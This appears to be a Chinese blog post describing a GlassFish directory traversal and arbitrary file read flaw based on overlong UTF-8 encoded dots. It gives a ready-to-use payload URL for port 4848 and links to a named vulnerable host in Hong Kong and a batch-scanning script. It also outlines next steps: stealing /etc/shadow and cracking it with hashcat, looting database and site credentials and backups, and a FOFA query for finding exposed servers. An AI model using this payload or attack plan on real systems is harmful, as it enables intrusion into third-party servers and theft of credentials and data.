GlassFish任意文件读取

GlassFish任意文件读取

Scroll Down

一、背景

GlassFish是针对Java语言的一款同商业兼容的应用服务器。可以帮助开发者快速调试java应用所需要的资源,以及java程序的部署。

Payara Production Features 1

二、漏洞简述

  • 漏洞原理:

    • java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)、利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。
  • 漏洞载荷

    • 访问操作系统的根目录:(windows和Linux)
    • http://IP:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
  • 示例效果

image-20221130082653190

三、补充:

  • 一台香港含该漏洞的主机:传送门
  • 批量检测该漏洞的脚本:下载
  • 进一步攻击设想:
    • 读取主机密码文件(譬如:/etc/shadow),使用hashcat进行解密
    • 于主机内寻找可能的配置文件,譬如数据库、网站账密等敏感信息
    • 于主机内寻找备份文件,下载后进行本地分析
    • fofa批量检测:"GlassFish" && port="4848"